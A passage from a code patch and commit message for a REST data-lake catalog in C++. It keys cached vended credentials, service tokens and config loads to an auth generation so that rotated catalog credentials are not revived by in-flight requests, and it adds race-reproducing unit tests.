DB::HTTPHeaderEntries headers; headers.emplace_back("X-Iceberg-Access-Delegation", "vended-credentials"); - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); const auto & table = storage_id.getTableName(); auto [namespace_name, table_name] = DataLake::parseTableName(table); const std::string endpoint = std::filesystem::path(NAMESPACES_ENDPOINT) / encodeNamespaceForURI(namespace_name) / "tables" / table_name; @@ -2752,7 +2797,8 @@ ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCal { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogGetCredentials); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogGetCredentialsMicroseconds); - auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / endpoint, auth_token, /* params */{}, headers); + auto buf = createReadBuffer( + *state_snapshot, state_snapshot.generation, state_snapshot->config.prefix / endpoint, auth_token, /* params */{}, headers); if (buf->eof()) { @@ -2792,7 +2838,8 @@ ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCal if (metadata_object) parsed.table_uuid = parseTableUuid(metadata_object); /// Refresh the per-table cache so subsequent queries reuse these freshly vended credentials. - cacheCredentials({getCredentialsCachePrincipal(auth_token), namespace_name, table_name}, parsed); + cacheCredentials( + {state_snapshot.generation, getCredentialsCachePrincipal(auth_token), namespace_name, table_name}, parsed); return parsed.credentials; }; } diff --git a/src/Databases/DataLake/RestCatalog.h b/src/Databases/DataLake/RestCatalog.h index e88a00445d39..6036ad4fc8dc 100644 --- a/src/Databases/DataLake/RestCatalog.h +++ b/src/Databases/DataLake/RestCatalog.h @@ -98,13 +98,18 @@ struct TokenRequest String actor_token_type; }; -/// Key of the vended-credentials cache. `principal` comes first so that one user's entries are +/// Key of the vended-credentials cache. `generation` comes first so that entries derived from +/// superseded catalog credentials sort together and, more importantly, become unreachable the +/// moment the generation moves on: a request that started before an `ALTER DATABASE ... MODIFY +/// SETTING catalog_credential` may only finish writing its result afterwards, and that write +/// must not be readable by anyone. `principal` comes next so that one user's entries are /// contiguous, and is the empty string on the non-forwarding path -- which reproduces the /// pre-forwarding `(namespace, table)` key semantics exactly. Without `principal` in the key a /// warm cache would hand Bob the STS credentials the catalog vended for Alice, without the /// catalog ever being consulted. struct CredentialsCacheKey { + UInt64 generation = 0; std::string principal; std::string namespace_name; std::string table_name; @@ -220,6 +225,8 @@ class RestCatalog : public ICatalog, public DB::WithContext /// The snapshot the caller derived the endpoint from, so that one request never mixes /// the endpoint of one state version with the auth of another. const CatalogState & catalog_state; + /// The auth generation `catalog_state` was taken in -- see `StateSnapshot`. + UInt64 generation = 0; /// Force a fresh token instead of reusing the cached one. Under forwarding this re-runs /// the *user's* exchange, never a `client_credentials` grant -- see /// `RestCatalog::getAuthHeaders`. @@ -236,7 +243,27 @@ class RestCatalog : public ICatalog, public DB::WithContext bool * used_cached_oauth_token = nullptr; }; - CatalogStateVersion getStateSnapshot() const { return state.get(); } + /// A `CatalogState` snapshot paired with the auth generation in force when it was taken. + /// Everything a request derives from the snapshot -- an exchanged session token, vended + /// storage credentials, a freshly minted service token -- is tagged with that generation and + /// is discarded, or made unreachable, once `commitSettingsChanges` moves the generation on. + struct StateSnapshot + { + UInt64 generation = 0; + CatalogStateVersion state; + + const CatalogState & operator*() const { return *state; } + const CatalogState * operator->() const { return state.get(); } + }; + + /// Reads the generation *before* the state, never after. Pairing a new generation with an old + /// state would let a request that authenticated with superseded credentials cache its result + /// as if it were current; the reverse pairing only costs one wasted cache fill. + StateSnapshot getStateSnapshot() const + { + const UInt64 generation = auth_generation.load(std::memory_order_acquire); + return StateSnapshot{generation, state.get()}; + } ICatalog::PreparedSettingsChangesPtr prepareSettingsChanges(const DB::SettingsChanges & changes) override; @@ -295,6 +322,19 @@ class RestCatalog : public ICatalog, public DB::WithContext static constexpr size_t user_token_cache_max_entries = 1024; mutable DB::CacheBase user_token_cache; + /// Bumped by `commitSettingsChanges` once per auth change. A request tags everything it + /// derives from a state snapshot with the generation it read, so a request that authenticated + /// with credentials the operator has since rotated cannot publish or cache its result as if + /// it were current. Deliberately not a field of `CatalogState`: the state is republished for + /// unrelated reasons (`loadConfigIfNeeded`), and a counter that only ever moves forward must + /// not be able to travel back with it. + std::atomic auth_generation{0}; + + /// Serializes publishing an auth artifact against `commitSettingsChanges` publishing a new + /// one, so that the generation check and the publish it guards cannot be split by an ALTER. + /// Never held across a network request. + mutable std::mutex auth_publish_mutex; + /// TTL for caching vended credentials per table (0 means no caching). std::atomic vended_credentials_cache_ttl{std::chrono::seconds::zero()}; @@ -338,6 +378,7 @@ class RestCatalog : public ICatalog, public DB::WithContext /// request never mixes the endpoint of one state version with the auth of another. DB::ReadWriteBufferFromHTTPPtr createReadBuffer( const CatalogState & catalog_state, + UInt64 generation, const std::string & endpoint, const DB::ForwardedAuthTokenPtr & auth_token, const Poco::URI::QueryParameters & params = {}, @@ -390,6 +431,7 @@ class RestCatalog : public ICatalog, public DB::WithContext /// Load catalog config (special http handler) utilizing information from catalog_state and auth_headers. Config loadConfig( const CatalogState & catalog_state, + UInt64 generation, const DB::ForwardedAuthTokenPtr & auth_token, const std::optional & auth_headers = std::nullopt) const; @@ -400,7 +442,8 @@ class RestCatalog : public ICatalog, public DB::WithContext /// no token, and also when the hot-reloadable server-level `enable_token_forwarding` setting /// has since been turned off: never fall back to the service principal, which would turn an /// authorization failure into a query that succeeds under the wrong identity. - String getForwardedToken(const CatalogState & catalog_state, const DB::ForwardedAuthTokenPtr & auth_token, bool update_token) const; + String getForwardedToken( + const CatalogState & catalog_state, UInt64 generation, const DB::ForwardedAuthTokenPtr & auth_token, bool update_token) const; /// Whether a failed catalog request should be retried once with a freshly minted token. bool shouldRetryWithFreshToken(Poco::Net::HTTPResponse::HTTPStatus status) const; @@ -411,6 +454,7 @@ class RestCatalog : public ICatalog, public DB::WithContext void sendRequest( const CatalogState & catalog_state, + UInt64 generation, const String & endpoint, Poco::JSON::Object::Ptr request_body, const DB::ForwardedAuthTokenPtr & auth_token, @@ -426,20 +470,25 @@ class RestCatalog : public ICatalog, public DB::WithContext void cacheCredentials(const CredentialsCacheKey & key, const VendedStorageCredentials & parsed) const; + /// Publishes a freshly minted service-principal token into `access_token`, but only if the + /// credentials it was minted with are still in force. Returns it either way. + MultiVersion::Version publishServiceToken(AccessToken minted, UInt64 generation) const; + /// Performs one OAuth token-endpoint request. Both grants share this so that the /// `client_credentials` path stays byte-identical to what it was before token exchange existed. AccessToken requestToken(const TokenRequest & request) const; /// RFC 8693 exchange of the user's token for a catalog session token, against /// `oauth_token_exchange_uri`. - AccessToken exchangeUserToken(const CatalogState & catalog_state, const DB::ForwardedAuthToken & auth_token) const; + AccessToken exchangeUserToken( + const CatalogState & catalog_state, UInt64 generation, const DB::ForwardedAuthToken & auth_token) const; AccessToken retrieveAccessToken(const std::string & client_id, const std::string & client_secret) const; /// The catalog service principal's own token, minted on demand with a `client_credentials` /// grant and cached in `access_token` until it expires. Used as the RFC 8693 `actor_token`, /// never as the identity a catalog request is signed with while forwarding is on. - String getServicePrincipalToken(const CatalogState & catalog_state) const; + String getServicePrincipalToken(const CatalogState & catalog_state, UInt64 generation) const; struct PreparedAuthChanges; diff --git a/src/Databases/DataLake/S3TablesCatalog.cpp b/src/Databases/DataLake/S3TablesCatalog.cpp index a297d56dfc42..d28987fe346e 100644 --- a/src/Databases/DataLake/S3TablesCatalog.cpp +++ b/src/Databases/DataLake/S3TablesCatalog.cpp @@ -114,7 +114,7 @@ S3TablesCatalog::S3TablesCatalog( /* urlEscapePath = */ false); CatalogState initial_state; - initial_state.config = loadConfig(initial_state, /* auth_token */ {}); + initial_state.config = loadConfig(initial_state, /* generation */ 0, /* auth_token */ {}); initial_state.config_loaded = true; if (initial_state.config.prefix.empty()) @@ -221,7 +221,7 @@ ICatalog::CredentialsRefreshCallback S3TablesCatalog::getCredentialsConfiguratio void S3TablesCatalog::dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const { - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); const std::string endpoint = (base_url / state_snapshot->config.prefix / "namespaces" / namespace_name / "tables" / table_name).string() + "?purgeRequested=True"; @@ -231,7 +231,8 @@ void S3TablesCatalog::dropTable(const String & namespace_name, const String & ta { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogDropTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogDropTableMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body, auth_token, Poco::Net::HTTPRequest::HTTP_DELETE, true); + sendRequest( + *state_snapshot, state_snapshot.generation, endpoint, request_body, auth_token, Poco::Net::HTTPRequest::HTTP_DELETE, true); } catch (const DB::HTTPException & ex) { diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp index f27aa09b05b3..2acb93255405 100644 --- a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp +++ b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp @@ -13,9 +13,14 @@ #include #include +#include + #include +#include #include +#include #include +#include using namespace DataLake; using namespace RestCatalogTest; @@ -674,4 +679,179 @@ TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAnd EXPECT_EQ(parseForm(exchanges.back().body).at("client_secret"), "rotated_secret"); } + +/// A request that authenticated before the ALTER can only finish writing its result afterwards. +/// Clearing the caches at commit time does not cover that: the window is a whole catalog round +/// trip, so the write lands after the clear and puts the pre-rotation artifacts straight back. +/// Both are keyed to the auth generation instead, so such a write is unreachable. + +/// Parks a route until the test releases it, so an ALTER can be made to land while a request is +/// still in flight. Releasing from the destructor keeps a failed assertion from hanging the run. +class ParkedRoute +{ +public: + RestCatalogTest::ServerState::Route handler(RestCatalogTest::ServerState::Route response) + { + return [this, response](const RecordedRequest & request) + { + { + std::unique_lock lock(mutex); + if (enabled && !arrived) + { + arrived = true; + cv.notify_all(); + cv.wait(lock, [this] { return released; }); + } + } + return response(request); + }; + } + + void enable() + { + std::lock_guard lock(mutex); + enabled = true; + } + + bool isEnabled() const + { + std::lock_guard lock(mutex); + return enabled; + } + + void waitUntilParked() + { + std::unique_lock lock(mutex); + cv.wait(lock, [this] { return arrived; }); + } + + void release() + { + { + std::lock_guard lock(mutex); + released = true; + } + cv.notify_all(); + } + +private: + mutable std::mutex mutex; + std::condition_variable cv; + bool enabled = false; + bool arrived = false; + bool released = false; +}; + +TEST_F(RestCatalogTokenForwarding, InFlightVendedCredentialsDoNotOutliveTheirGeneration) +{ + /// Declared before the server so that it outlives the threads serving its routes. + ParkedRoute parked; + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + server->setRoute(TABLE_PATH, parked.handler([](const RecordedRequest &) { return json(loadTableResponse("AKIA_VENDED")); })); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + catalog->setVendedCredentialsCacheTTL(std::chrono::seconds(300)); + + auto load = [&] + { + auto query_context = makeQueryContext(alice); + TableMetadata metadata; + metadata.withLocation().withStorageCredentials(); + catalog->getTableMetadata("ns", "t", query_context, metadata); + }; + + auto vending_requests = [&] + { + size_t count = 0; + for (const auto & request : server->requestsTo(TABLE_PATH)) + if (request.header("X-Iceberg-Access-Delegation") == "vended-credentials") + ++count; + return count; + }; + + parked.enable(); + std::thread in_flight(load); + /// Only reached when an assertion below aborts the test early; the normal path joins inline. + SCOPE_EXIT({ + parked.release(); + if (in_flight.joinable()) + in_flight.join(); + }); + + parked.waitUntilParked(); + + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + catalog->commitSettingsChanges(catalog->prepareSettingsChanges(changes)); + + parked.release(); + in_flight.join(); + + const auto vends_before = vending_requests(); + + /// The parked query wrote its credentials back after the clear. They belong to the previous + /// generation, so this read must miss the cache and vend again. + load(); + EXPECT_EQ(vending_requests(), vends_before + 1); +} + +TEST_F(RestCatalogTokenForwarding, InFlightGrantDoesNotClobberRotatedServiceToken) +{ + ParkedRoute parked; + TestServer server; + installCatalogShape(*server); + + server->setRoute(CATALOG_TOKEN_PATH, parked.handler([&parked](const RecordedRequest & request) + { + const auto secret = parseForm(request.body).at("client_secret"); + if (secret != "secret") + return json(R"({"access_token":"tok_for_rotated_secret","expires_in":3600})"); + + /// Before parking is armed every grant is already outside its validity window, so the + /// warm-up leaves nothing reusable and the in-flight query is guaranteed to mint again. + /// The parked grant itself is long-lived, so that a clobber would actually stick and the + /// assertion is not satisfied by the token merely expiring. + const auto expires_in = parked.isEnabled() ? 3600 : 1; + return json(fmt::format(R"({{"access_token":"tok_for_secret","expires_in":{}}})", expires_in)); + })); + + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, TokenForwardingConfig{}, "client:secret"); + + /// Warm up outside the parked window: loads the config and establishes pooled connections. + ASSERT_EQ(catalog->getTables(/* auth_token */ {}), DB::Names{"ns.t"}); + + parked.enable(); + std::thread in_flight([&] { catalog->getTables(/* auth_token */ {}); }); + /// Only reached when an assertion below aborts the test early; the normal path joins inline. + SCOPE_EXIT({ + parked.release(); + if (in_flight.joinable()) + in_flight.join(); + }); + + parked.waitUntilParked(); + + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + catalog->commitSettingsChanges(catalog->prepareSettingsChanges(changes)); + + parked.release(); + in_flight.join(); + + server->clearRequests(); + ASSERT_EQ(catalog->getTables(/* auth_token */ {}), DB::Names{"ns.t"}); + + /// The parked grant used the pre-rotation secret, so it must not have replaced the token the + /// ALTER eagerly published -- nothing bounds how long that would keep the old credential live. + const auto requests = server->requestsTo(NAMESPACES_PATH); + ASSERT_FALSE(requests.empty()); + EXPECT_EQ(requests.front().header("Authorization"), "Bearer tok_for_rotated_secret"); +} + #endif From e7812b44670bdb20cf09e4dd757d9842be7ecdb1 Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Thu, 10 Sep 2026 15:49:41 +0200 Subject: [PATCH 6/6] Do not let a lazy config load roll back a concurrent credential change `loadConfigIfNeeded` is a read-modify-write on the catalog state with a `/v1/config` request in the middle: it snapshots the state, loads, then republishes that snapshot with the config attached. `config_mutex` keeps two config loads apart, but `commitSettingsChanges` publishes without taking it, so an `ALTER DATABASE ... MODIFY SETTING catalog_credential` landing in that window is silently undone -- the credentials it published are replaced by the ones the load started with. Unlike the cache races this is bounded by nothing: the database keeps running on the rotated-away secret until the next ALTER. Reachable only with `oauth_forward_user_token = 1`, where there may be no service credential at construction time and `/v1/config` is therefore deferred to the first user query instead of being fetched in the constructor. The publish now checks the auth generation under `auth_publish_mutex`, the same lock `commitSettingsChanges` publishes under, and drops the result if the credentials moved on. Dropped rather than merged into the current state: the config was read with credentials no longer in force, and they may resolve the warehouse to a different prefix or base location. `config_loaded` stays false, so the next request loads it again against the credentials that are. Two concurrent ALTERs have the same read-modify-write shape between `prepareSettingsChanges` and `commitSettingsChanges`; that is left alone here. --- src/Databases/DataLake/RestCatalog.cpp | 16 +++++++ .../gtest_rest_catalog_token_forwarding.cpp | 48 +++++++++++++++++++ 2 files changed, 64 insertions(+) diff --git a/src/Databases/DataLake/RestCatalog.cpp b/src/Databases/DataLake/RestCatalog.cpp index 745e9ca2601e..9703875d7c4b 100644 --- a/src/Databases/DataLake/RestCatalog.cpp +++ b/src/Databases/DataLake/RestCatalog.cpp @@ -561,6 +561,22 @@ void RestCatalog::loadConfigIfNeeded(const DB::ForwardedAuthTokenPtr & auth_toke auto new_state = std::make_unique(*old_state); new_state->config = loadConfig(*old_state, old_state.generation, auth_token); new_state->config_loaded = true; + + /// `config_mutex` keeps two config loads apart but says nothing about `commitSettingsChanges`, + /// which publishes without it. Publishing a state built from a snapshot taken before an + /// `ALTER DATABASE ... MODIFY SETTING catalog_credential` would carry that snapshot's + /// credentials back with it and undo the ALTER -- permanently, with no TTL to bound it. + /// + /// The config just loaded is dropped rather than merged into the current state: it was read + /// with credentials that are no longer in force, and they may resolve the warehouse to a + /// different prefix or base location. `config_loaded` stays false, so the next request loads + /// it again against the credentials that are. + std::lock_guard publish_lock(auth_publish_mutex); + if (auth_generation.load(std::memory_order_acquire) != old_state.generation) + { + LOG_DEBUG(log, "Catalog credentials changed while `/v1/config` was loading; discarding it"); + return; + } state.set(std::move(new_state)); } diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp index 2acb93255405..a54a8ed971fb 100644 --- a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp +++ b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp @@ -854,4 +854,52 @@ TEST_F(RestCatalogTokenForwarding, InFlightGrantDoesNotClobberRotatedServiceToke EXPECT_EQ(requests.front().header("Authorization"), "Bearer tok_for_rotated_secret"); } + +/// `loadConfigIfNeeded` is a read-modify-write on the state with a slow `/v1/config` request in +/// the middle, and `config_mutex` does not exclude `commitSettingsChanges`. Republishing the +/// snapshot it started from would carry the pre-ALTER credentials back with it -- undoing the +/// rotation for good, not for a cache TTL. Reachable only under forwarding, where `/v1/config` +/// is deferred to the first user query rather than fetched in the constructor. +TEST_F(RestCatalogTokenForwarding, ConfigLoadDoesNotRollBackAConcurrentCredentialChange) +{ + /// Declared before the server so that it outlives the threads serving its routes. + ParkedRoute parked; + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + server->setRoute("/v1/config", parked.handler([](const RecordedRequest &) { return json(R"({"defaults":{},"overrides":{}})"); })); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + parked.enable(); + std::thread in_flight([&] { catalog->getTables(alice); }); + /// Only reached when an assertion below aborts the test early; the normal path joins inline. + SCOPE_EXIT({ + parked.release(); + if (in_flight.joinable()) + in_flight.join(); + }); + + parked.waitUntilParked(); + + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + catalog->commitSettingsChanges(catalog->prepareSettingsChanges(changes)); + + parked.release(); + in_flight.join(); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + + /// The parked query resumes in the new generation, so it exchanges again -- and that + /// exchange authenticates with whatever credentials the published state now holds. They must + /// still be the rotated ones. + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_GE(exchanges.size(), 2u); + EXPECT_EQ(parseForm(exchanges.back().body).at("client_secret"), "rotated_secret"); +} + #endif